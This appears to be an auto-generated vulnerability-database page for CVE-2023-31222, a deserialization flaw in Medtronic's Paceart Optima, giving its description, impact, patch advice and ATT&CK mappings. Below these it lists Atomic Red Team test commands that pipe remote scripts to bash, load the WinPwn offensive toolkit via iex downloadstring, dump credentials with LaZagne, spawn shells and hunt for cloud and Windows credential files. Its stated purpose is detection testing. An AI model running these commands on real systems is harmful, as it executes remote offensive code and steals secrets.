CVE-2023-31222
Overview
This vulnerability is a deserialization of untrusted data flaw affecting the Microsoft Messaging Queuing Service component within Medtronic's Paceart Optima system. The root cause lies in the insecure handling of serialized input data, which is improperly deserialized without sufficient validation or sanitization. This flaw specifically impacts Paceart Optima versions 1.11 and earlier running on Windows platforms, allowing maliciously crafted data to be processed by the messaging service.
Vulnerability Description
Deserialization of untrusted data in Microsoft Messaging Queuing Service in Medtronic's Paceart Optima versions 1.11 and earlier on Windows allows an unauthorized user to impact a healthcare delivery organization’s Paceart Optima system cardiac device causing data to be deleted, stolen, or modified, or the Paceart Optima system being used for further network penetration via network connectivity.
Impact
An unauthenticated remote attacker can exploit this flaw over the network to delete, steal, or modify sensitive cardiac device data managed by the Paceart Optima system. Additionally, the compromised system can be leveraged as a pivot point for further network penetration within a healthcare delivery organization’s infrastructure. The attack requires network access but no user interaction or privileges, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N), enabling high-impact confidentiality, integrity, and availability breaches.
Solution
Medtronic has released a security bulletin addressing this issue for the Paceart Optima system. Users should upgrade to versions later than 1.11 where the deserialization vulnerability is mitigated. Detailed patch instructions and version information are available at https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html. Organizations are advised to apply these updates promptly to eliminate the insecure deserialization flaw and secure affected Windows deployments.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Medtronic | Paceart Optima | All |
cpe:2.3:a:medtronic:paceart_optima:*:*:*:*:*:windows:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
52%
|
Medium | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-31222 |
| global.medtronic.com |
GitHub CVE
|
https://global.medtronic.com/xg-en/product-security/security-bulletins/paceart-optima-system.html |